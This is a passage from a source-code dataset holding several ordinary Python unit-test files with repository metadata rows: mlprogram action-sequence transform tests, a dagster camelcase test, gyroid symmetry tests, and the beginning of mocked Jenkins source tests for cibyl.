] | 87 | 2020-05-09T08:56:55.000Z | 2022-03-31T14:46:45.000Z | test/mlprogram/transforms/test_action_sequence.py | HiroakiMikami/NL2Prog | 573e94c567064705fa65267dd83946bf183197de | [
"MIT"
] | 3 | 2021-02-22T20:38:29.000Z | 2021-11-11T18:48:44.000Z | import numpy as np
import pytest
from mlprogram.builtins import Environment
from mlprogram.encoders import ActionSequenceEncoder
from mlprogram.languages import Field, Leaf, Node, Parser, Token
from mlprogram.transforms.action_sequence import (
AddActions,
AddActionSequenceAsTree,
AddPreviousActionRules,
AddPreviousActions,
AddQueryForTreeGenDecoder,
AddState,
EncodeActionSequence,
GroundTruthToActionSequence,
)
from mlprogram.utils.data import ListDataset, get_samples
class MockParser(Parser[str]):
def parse(self, code: str):
ast = Node("Assign",
[Field("name", "Name",
Node("Name", [Field("id", "str",
[Leaf("str", "x")])])),
Field("value", "expr",
Node("Op", [
Field("op", "str", [Leaf("str", "+")]),
Field("arg0", "expr",
Node("Name", [Field("id", "str",
[Leaf("str", "y")])])),
Field("arg1", "expr",
Node("Number", [
Field("value", "number",
[Leaf("number", "1")])
]))]
))])
return ast
class MockParserWithoutVariadicArgs(Parser[str]):
def parse(self, code):
ast = Node("Assign",
[Field("name", "Name",
Node("Name", [Field("id", "str",
Leaf("str", "x"))])),
Field("value", "expr",
Node("Op", [
Field("op", "str", Leaf("str", "+")),
Field("arg0", "expr",
Node("Name", [Field("id", "str",
Leaf("str", "y"))])),
Field("arg1", "expr",
Node("Number", [
Field("value", "number",
Leaf("number", "1"))]))]
))])
return ast
class TestGroundTruthToActionSequence(object):
def test_simple_case(self):
transform = GroundTruthToActionSequence(MockParser())
action_sequence = transform(ground_truth="y = x + 1")
assert action_sequence.head is None
class TestEncodeActionSequence(object):
def test_simple_case(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
ground_truth="y = x + 1"
)
transform = EncodeActionSequence(aencoder)
ground_truth = transform(
action_sequence=action_sequence,
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
)
assert np.array_equal(
[
[3, -1, -1], [4, -1, -1], [-1, 1, -1], [1, -1, -1],
[5, -1, -1], [-1, 2, -1], [1, -1, -1], [4, -1, -1],
[-1, 3, -1], [1, -1, -1], [6, -1, -1], [-1, 4, -1],
[1, -1, -1]
],
ground_truth.numpy()
)
def test_impossible_case(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
d.tokens = [("", "y"), ("", "1")]
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
ground_truth="y = x + 1"
)
transform = EncodeActionSequence(aencoder)
with pytest.raises(RuntimeError):
transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
)
class TestAddPreviousActions(object):
def test_simple_case(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
transform = AddPreviousActions(aencoder)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y=x+1"
)
prev_action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=True
)
assert np.array_equal(
[
[2, -1, -1], [3, -1, -1], [4, -1, -1], [-1, 1, -1],
[1, -1, -1], [5, -1, -1], [-1, 2, -1], [1, -1, -1],
[4, -1, -1], [-1, 3, -1], [1, -1, -1], [6, -1, -1],
[-1, 4, -1]
],
prev_action_tensor.numpy()
)
def test_eval(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
transform = AddPreviousActions(aencoder)
prev_action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[
[2, -1, -1], [3, -1, -1], [4, -1, -1], [-1, 1, -1],
[1, -1, -1], [5, -1, -1], [-1, 2, -1], [1, -1, -1],
[4, -1, -1], [-1, 3, -1], [1, -1, -1], [6, -1, -1],
[-1, 4, -1], [1, -1, -1]
],
prev_action_tensor.numpy()
)
def test_n_dependent(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
transform = AddPreviousActions(aencoder, n_dependent=2)
prev_action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[[-1, 4, -1], [1, -1, -1]],
prev_action_tensor.numpy()
)
def test_impossible_case(self):
entries = [Environment(
{"ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
d.tokens = [("", "y"), ("", "1")]
aencoder = ActionSequenceEncoder(d, 0)
transform = AddPreviousActions(aencoder)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
with pytest.raises(RuntimeError):
transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=True
)
class TestAddActions(object):
def test_simple_case(self):
entries = [Environment(
{"text_query": "foo bar", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
transform = AddActions(aencoder)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=True
)
assert np.array_equal(
[
[2, 2, 0], [4, 3, 1], [6, 4, 2], [6, 4, 2], [5, 3, 1],
[6, 5, 5], [6, 5, 5], [5, 5, 5], [6, 4, 8], [6, 4, 8],
[5, 5, 5], [9, 6, 11], [9, 6, 11]
],
action_tensor.numpy()
)
def test_eval(self):
entries = [Environment(
{"text_query": "foo bar", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
transform = AddActions(aencoder)
action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[
[2, 2, 0], [4, 3, 1], [6, 4, 2], [6, 4, 2], [5, 3, 1],
[6, 5, 5], [6, 5, 5], [5, 5, 5], [6, 4, 8], [6, 4, 8],
[5, 5, 5], [9, 6, 11], [9, 6, 11], [-1, -1, -1]
],
action_tensor.numpy()
)
def test_n_dependent(self):
entries = [Environment(
{"text_query": "foo bar", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
transform = AddActions(aencoder, n_dependent=2)
action_tensor = transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[[9, 6, 11], [-1, -1, -1]],
action_tensor.numpy()
)
def test_impossible_case(self):
entries = [Environment(
{"text_query": "foo bar", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParser())
d.tokens = [("", "y"), ("", "1")]
aencoder = ActionSequenceEncoder(d, 0)
transform = AddActions(aencoder)
action_sequence = GroundTruthToActionSequence(MockParser())(
"y = x + 1"
)
with pytest.raises(RuntimeError):
transform(
reference=[Token(None, "foo", "foo"), Token(None, "bar", "bar")],
action_sequence=action_sequence,
train=True
)
class TestAddPreviousActionRules(object):
def test_simple_case(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(
MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddPreviousActionRules(aencoder, 2)
prev_rule_action = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=True
)
assert np.array_equal(
[
# None -> Root
[[1, -1, -1], [2, -1, -1], [-1, -1, -1]],
# Assign -> Name, expr
[[3, -1, -1], [4, -1, -1], [5, -1, -1]],
# Name -> str
[[4, -1, -1], [6, -1, -1], [-1, -1, -1]],
# str -> "x"
[[-1, -1, -1], [-1, 1, -1], [-1, -1, -1]],
# Op -> str, expr, expr
[[7, -1, -1], [6, -1, -1], [5, -1, -1]],
# str -> "+"
[[-1, -1, -1], [-1, 2, -1], [-1, -1, -1]],
# Name -> str
[[4, -1, -1], [6, -1, -1], [-1, -1, -1]],
# str -> "y"
[[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]],
# Number -> number
[[8, -1, -1], [9, -1, -1], [-1, -1, -1]],
],
prev_rule_action.numpy()
)
def test_eval(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddPreviousActionRules(aencoder, 2)
prev_rule_action = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[
# None -> Root
[[1, -1, -1], [2, -1, -1], [-1, -1, -1]],
# Assign -> Name, expr
[[3, -1, -1], [4, -1, -1], [5, -1, -1]],
# Name -> str
[[4, -1, -1], [6, -1, -1], [-1, -1, -1]],
# str -> "x"
[[-1, -1, -1], [-1, 1, -1], [-1, -1, -1]],
# Op -> str, expr, expr
[[7, -1, -1], [6, -1, -1], [5, -1, -1]],
# str -> "+"
[[-1, -1, -1], [-1, 2, -1], [-1, -1, -1]],
# Name -> str
[[4, -1, -1], [6, -1, -1], [-1, -1, -1]],
# str -> "y"
[[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]],
# Number -> number
[[8, -1, -1], [9, -1, -1], [-1, -1, -1]],
[[-1, -1, -1], [-1, 4, -1], [-1, -1, -1]],
],
prev_rule_action.numpy()
)
def test_n_dependent(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddPreviousActionRules(aencoder, 2, n_dependent=3)
prev_rule_action = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=False,
)
assert np.array_equal(
[
# str -> "y"
[[-1, -1, -1], [-1, 3, -1], [-1, -1, -1]],
# Number -> number
[[8, -1, -1], [9, -1, -1], [-1, -1, -1]],
[[-1, -1, -1], [-1, 4, -1], [-1, -1, -1]],
],
prev_rule_action.numpy()
)
class TestAddActionSequenceAsTree(object):
def test_simple_case(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddActionSequenceAsTree(aencoder)
matrix, depth = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=True
)
assert np.array_equal(
[0, 1, 2, 3, 2, 3, 3, 4, 3],
depth.numpy()
)
assert np.array_equal(
[[0, 1, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 1, 0, 1, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 1, 1, 0, 1],
[0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0]],
matrix.numpy()
)
def test_eval(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddActionSequenceAsTree(aencoder,)
matrix, depth = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[0, 1, 2, 3, 2, 3, 3, 4, 3, 4],
depth.numpy()
)
assert np.array_equal(
[[0, 1, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 1, 0, 1, 0, 0, 0, 0, 0],
[0, 0, 0, 1, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 1, 1, 0, 1, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 1, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 1],
[0, 0, 0, 0, 0, 0, 0, 0, 0, 0]],
matrix.numpy()
)
class TestAddQueryForTreeGenDecoder(object):
def test_simple_case(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddQueryForTreeGenDecoder(aencoder, 3)
query = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=True
)
assert np.array_equal(
[
[-1, -1, -1], [2, -1, -1], [3, 2, -1], [4, 3, 2],
[3, 2, -1], [5, 3, 2], [5, 3, 2], [4, 5, 3],
[5, 3, 2]
],
query.numpy()
)
def test_eval(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddQueryForTreeGenDecoder(aencoder, 3,)
query = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[
[-1, -1, -1], [2, -1, -1], [3, 2, -1], [4, 3, 2],
[3, 2, -1], [5, 3, 2], [5, 3, 2], [4, 5, 3],
[5, 3, 2], [6, 5, 3]
],
query.numpy()
)
def test_n_dependent(self):
entries = [Environment(
{"text_query": "ab test", "ground_truth": "y = x + 1"},
set(["ground_truth"])
)]
dataset = ListDataset(entries)
d = get_samples(dataset, MockParserWithoutVariadicArgs())
aencoder = ActionSequenceEncoder(d, 0)
action_sequence = GroundTruthToActionSequence(MockParserWithoutVariadicArgs())(
"y = x + 1"
)
transform = AddQueryForTreeGenDecoder(aencoder, 3, n_dependent=2)
query = transform(
reference=[Token(None, "ab", "ab"), Token(None, "test", "test")],
action_sequence=action_sequence,
train=False
)
assert np.array_equal(
[[5, 3, 2], [6, 5, 3]],
query.numpy()
)
class TestAddState(object):
def test_simple_case(self):
transform = AddState("key", None)
result = transform(Environment({"train": True}))
assert result["key"] is None
def test_eval(self):
transform = AddState("key", None)
result = transform(Environment({"train": False}))
assert result["key"] is None
def test_eval2(self):
transform = AddState("key", None)
result = transform(Environment({"train": False, "key": 2}))
assert result["key"] == 2
| 36.65365 | 87 | 0.457918 | 2,170 | 21,589 | 4.45576 | 0.053917 | 0.041783 | 0.042197 | 0.051712 | 0.905161 | 0.903713 | 0.898542 | 0.886234 | 0.883752 | 0.867825 | 0 | 0.056284 | 0.377831 | 21,589 | 588 | 88 | 36.715986 | 0.663565 | 0.013294 | 0 | 0.718336 | 0 | 0 | 0.066867 | 0 | 0 | 0 | 0 | 0 | 0.039698 | 1 | 0.045369 | false | 0 | 0.013233 | 0 | 0.081285 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 1 | 1 | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
cecd92414550bd5452da12adb42afcda7ffc3e96 | 260 | py | Python | python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py | JPeer264/dagster-fork | 32cc87a36134be7c442fa85d6867eb1d3301aea0 | [
"Apache-2.0"
] | 3 | 2020-04-28T16:27:33.000Z | 2020-07-22T07:43:30.000Z | python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py | JPeer264/dagster-fork | 32cc87a36134be7c442fa85d6867eb1d3301aea0 | [
"Apache-2.0"
] | 2 | 2021-05-11T13:36:27.000Z | 2021-09-03T01:53:11.000Z | python_modules/dagster/dagster_tests/utils_tests/test_camelcase.py | JPeer264/dagster-fork | 32cc87a36134be7c442fa85d6867eb1d3301aea0 | [
"Apache-2.0"
] | 1 | 2021-02-21T12:16:47.000Z | 2021-02-21T12:16:47.000Z | from dagster.utils import camelcase
def test_camelcase():
assert camelcase('foo') == 'Foo'
assert camelcase('foo_bar') == 'FooBar'
assert camelcase('foo.bar') == 'FooBar'
assert camelcase('foo-bar') == 'FooBar'
assert camelcase('') == ''
| 26 | 43 | 0.638462 | 29 | 260 | 5.655172 | 0.37931 | 0.457317 | 0.439024 | 0.384146 | 0.585366 | 0.585366 | 0.585366 | 0.585366 | 0.585366 | 0.585366 | 0 | 0 | 0.184615 | 260 | 9 | 44 | 28.888889 | 0.773585 | 0 | 0 | 0 | 0 | 0 | 0.173077 | 0 | 0 | 0 | 0 | 0 | 0.714286 | 1 | 0.142857 | true | 0 | 0.142857 | 0 | 0.285714 | 0 | 1 | 0 | 0 | null | 1 | 1 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 1 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 7 |
0c74c39d342ad937d086be93aa8f8199fcf6badf | 4,009 | py | Python | tests/test_symmetry.py | liuyxpp/liuyxpp-gyroid | 7db91cb140869760124a66239773822bc2cd4e44 | [
"BSD-3-Clause"
] | 2 | 2020-09-15T13:47:53.000Z | 2021-08-18T18:28:46.000Z | tests/test_symmetry.py | liuyxpp/liuyxpp-gyroid | 7db91cb140869760124a66239773822bc2cd4e44 | [
"BSD-3-Clause"
] | 1 | 2020-11-20T09:37:42.000Z | 2020-11-20T09:37:42.000Z | tests/test_symmetry.py | liuyxpp/liuyxpp-gyroid | 7db91cb140869760124a66239773822bc2cd4e44 | [
"BSD-3-Clause"
] | null | null | null | # -*- coding: utf-8 -*-
"""
test_symmetry
=============
:copyright: (c) 2012 by Yi-Xin Liu
:license: BSD, see LICENSE for more details.
"""
import numpy as np
from gyroid import Symmetry,Shape,symmetry_generator2
def test_Symmetry_1D():
h = Shape(1,np.array([2.0]))
R = np.eye(1)
t = np.zeros(1)
s0 = Symmetry(1,"Bravais",h,R,t)
is0 = s0.inverse()
ms0 = s0 * is0
R = -1.0 * np.eye(1)
s1 = Symmetry(1,"Bravais",h,R,t)
is1 = s1.inverse()
ms1 = s1 * is1
s2 = Symmetry(1,"Cartesian",h,R,t)
is2 = s2.inverse()
ms2 = s2 * is2
print s0.__dict__
print is0.__dict__
print "np.eye(1) is expected:"
print ms0.__dict__
print s0 == is0
print s1.__dict__
print is1.__dict__
print "np.eye(1) is expected:"
print ms1.__dict__
print s1 == is1
print s2.__dict__
print is2.__dict__
print "np.eye(1) is expected:"
print ms2.__dict__
print s2 == is2
def test_Symmetry_2D():
b = "Bravais"
alpha = np.pi/3.0
a1 = np.array([1.0,0.0])
a2 = np.array([np.cos(alpha),np.sin(alpha)])
h = Shape(2,a1,a2)
R = np.eye(2)
t = np.zeros(2)
s0 = Symmetry(2,"Bravais",h,R,t)
is0 = s0.inverse()
ms0 = s0 * is0
R = np.array([[0.0,-1.0],[1.0,-1.0]])
t = np.zeros(2)
s1 = Symmetry(2,"Bravais",h,R,t)
is1 = s1.inverse()
ms1 = s1 * is1
R = np.eye(2)
t = np.zeros(2)
s2 = Symmetry(2,"Cartesian",h,R,t)
is2 = s2.inverse()
ms2 = s2 * is2
R = np.array([[0.0,-1.0],[1.0,-1.0]])
t = np.zeros(2)
s3 = Symmetry(2,"Cartesian",h,R,t)
is3 = s3.inverse()
ms3 = s3 * is3
print s0.__dict__
print is0.__dict__
print "np.eye(2) is expected:"
print ms0.__dict__
print s0 == is0
print s1.__dict__
print is1.__dict__
print "np.eye(2) is expected:"
print ms1.__dict__
print s1 == is1
print s2.__dict__
print is2.__dict__
print "np.eye(2) is expected:"
print ms2.__dict__
print s2 == is2
print s3.__dict__
print is3.__dict__
print "np.eye(2) is expected:"
print ms3.__dict__
print s3 == is3
symm = symmetry_generator2(17,b,h)
for s in symm:
print s.__dict__,"\n"
if s1 in symm:
print "s1 is in symm!"
if is0 in symm:
print "is0 is in symm!"
if is1 in symm:
print "is1 is in symm!"
if is1 not in symm:
print "is1 is not in symm!"
def test_Symmetry_3D():
a1 = np.array([1.0,0.0,0.0])
a2 = np.array([0.0,1.0,0.0])
a3 = np.array([0.0,0.0,1.0])
h = Shape(3,a1,a2,a3)
R = np.eye(3)
t = np.zeros(3)
s0 = Symmetry(3,"Bravais",h,R,t)
is0 = s0.inverse()
ms0 = s0 * is0
R = np.array([[-1.0,0.0,0.0],[0.0,-1.0,0.0],[0.0,0.0,1.0]])
t = np.array([0,0.5,0.5])
s1 = Symmetry(3,"Bravais",h,R,t)
is1 = s1.inverse()
ms1 = s1 * is1
R = np.eye(3)
t = np.zeros(3)
s2 = Symmetry(3,"Cartesian",h,R,t)
is2 = s2.inverse()
ms2 = s2 * is2
R = np.array([[-1.0,0.0,0.0],[0.0,-1.0,0.0],[0.0,0.0,1.0]])
t = np.array([0,0.5,0.5])
s3 = Symmetry(3,"Cartesian",h,R,t)
is3 = s3.inverse()
ms3 = s3 * is3
print s0.__dict__
print is0.__dict__
print "np.eye(3) is expected:"
print ms0.__dict__
print s0 == is0
print s1.__dict__
print is1.__dict__
print "np.eye(3) is expected:"
print ms1.__dict__
print s1 == is1
print s2.__dict__
print is2.__dict__
print "np.eye(3) is expected:"
print ms2.__dict__
print s2 == is2
print s3.__dict__
print is3.__dict__
print "np.eye(3) is expected:"
print ms3.__dict__
print s3 == is3
symm = [s0,s1,s2,s3,ms0,ms1,ms2,ms3]
if s1 in symm:
print "s1 is in symm!"
if is0 in symm:
print "is0 is in symm!"
if is1 not in symm:
print "is1 is not in symm!"
def run_test():
#test_Symmetry_1D()
test_Symmetry_2D()
#test_Symmetry_3D()
if __name__ == '__main__':
run_test()
| 21.553763 | 63 | 0.558992 | 692 | 4,009 | 3.00578 | 0.112717 | 0.038462 | 0.038942 | 0.036538 | 0.777885 | 0.771154 | 0.713462 | 0.70625 | 0.654327 | 0.603846 | 0 | 0.102069 | 0.276628 | 4,009 | 185 | 64 | 21.67027 | 0.615172 | 0.014218 | 0 | 0.729167 | 0 | 0 | 0.11929 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.013889 | null | null | 0.4375 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 1 | 1 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 7 |
0c9bb528fb3fe2b4a027a9756cab4d212854a234 | 39,476 | py | Python | tests/unit/sources/test_jenkins.py | amolkahat/cibyl | 586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def | [
"Apache-2.0"
] | null | null | null | tests/unit/sources/test_jenkins.py | amolkahat/cibyl | 586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def | [
"Apache-2.0"
] | null | null | null | tests/unit/sources/test_jenkins.py | amolkahat/cibyl | 586c3c0a6b21a8f1b71db0c5b29e7d60f9cf0def | [
"Apache-2.0"
] | null | null | null | """
# Copyright 2022 Red Hat
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
"""
# pylint: disable=no-member
import json
from unittest import TestCase
from unittest.mock import Mock, patch
from cibyl.cli.argument import Argument
from cibyl.exceptions.jenkins import JenkinsError
from cibyl.sources.jenkins import (Jenkins, filter_builds, filter_jobs,
safe_request)
class TestSafeRequestJenkinsError(TestCase):
"""Tests for :func:`safe_request`."""
def test_wraps_errors_jenkins_error(self):
"""Tests that errors coming out of the Jenkins API call
are wrapped around the JenkinsError type.
"""
@safe_request
def request_test():
raise Exception
self.assertRaises(JenkinsError, request_test)
def test_returns_result_when_no_error(self):
"""Tests that the call's output is returned when everything goes right.
"""
result = {'some_key': 'some_value'}
@safe_request
def request_test():
return result
self.assertEqual(result, request_test())
class TestJenkinsSource(TestCase):
"""Tests for :class:`Jenkins`."""
def setUp(self):
self.jenkins = Jenkins("url", "user", "token")
# pylint: disable=protected-access
def test_with_all_args(self):
"""Checks that the object is built correctly when all arguments are
provided.
"""
url = 'url/to/jenkins/'
username = 'user'
cert = 'path/to/cert.pem'
token = 'token'
jenkins = Jenkins(url, username, token, cert)
self.assertEqual(cert, jenkins.cert)
def test_with_no_cert(self):
"""Checks that object is built correctly when the certificate is not
provided.
"""
url = 'url/to/jenkins/'
username = 'user'
cert = None
token = 'token'
jenkins = Jenkins(url, username, token, cert)
self.assertIsNone(jenkins.cert)
def test_get_jobs_all(self):
"""
Tests that the internal logic from :meth:`Jenkins.get_jobs` is
correct.
"""
self.jenkins.send_request = Mock(return_value={"jobs": []})
jobs_arg = Mock()
jobs_arg.value = []
jobs = self.jenkins.get_jobs(jobs=jobs_arg)
self.jenkins.send_request.assert_called_with(
self.jenkins.jobs_query)
self.assertEqual(len(jobs), 0)
def test_get_jobs(self):
"""
Tests that the internal logic from :meth:`Jenkins.get_jobs` is
correct.
"""
response = {"jobs": [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1'},
{'_class': 'org..job.WorkflowRun', 'name': "job2",
'url': 'url2'},
{'_class': 'folder', 'name': 'ansible-empty'}]}
self.jenkins.send_request = Mock(return_value=response)
jobs_arg = Mock()
jobs_arg.value = ["ansible"]
jobs = self.jenkins.get_jobs(jobs=jobs_arg)
self.assertEqual(len(jobs), 1)
self.assertTrue("ansible" in jobs)
self.assertEqual(jobs["ansible"].name.value, "ansible")
self.assertEqual(jobs["ansible"].url.value, "url1")
def test_get_builds(self):
"""
Tests that the internal logic from :meth:`Jenkins.get_builds` is
correct.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1'}]}
builds = {'_class': '_empty',
'allBuilds': [{'number': 1, 'result': "SUCCESS"},
{'number': 2, 'result': "FAILURE"}]}
self.jenkins.send_request = Mock(side_effect=[response, builds])
jobs = self.jenkins.get_builds()
self.assertEqual(len(jobs), 1)
job = jobs["ansible"]
self.assertEqual(job.name.value, "ansible")
self.assertEqual(job.url.value, "url1")
builds_found = job.builds.value
self.assertEqual(len(builds_found), 2)
self.assertEqual(builds_found["1"].build_id.value, "1")
self.assertEqual(builds_found["1"].status.value, "SUCCESS")
self.assertEqual(builds_found["2"].build_id.value, "2")
self.assertEqual(builds_found["2"].status.value, "FAILURE")
def test_get_last_build(self):
"""
Tests that the internal logic from :meth:`Jenkins.get_last_build`
is correct.
"""
response = {'jobs': [{'_class': 'org..job.WorkflowRun',
'name': "ansible", 'url': 'url1',
'lastBuild': {'number': 1, 'result': "SUCCESS"}
}]}
self.jenkins.send_request = Mock(side_effect=[response])
jobs = self.jenkins.get_last_build()
self.assertEqual(len(jobs), 1)
job = jobs["ansible"]
self.assertEqual(job.name.value, "ansible")
self.assertEqual(job.url.value, "url1")
self.assertEqual(len(job.builds.value), 1)
build = job.builds.value["1"]
self.assertEqual(build.build_id.value, "1")
self.assertEqual(build.status.value, "SUCCESS")
def test_get_last_build_from_get_builds(self):
"""
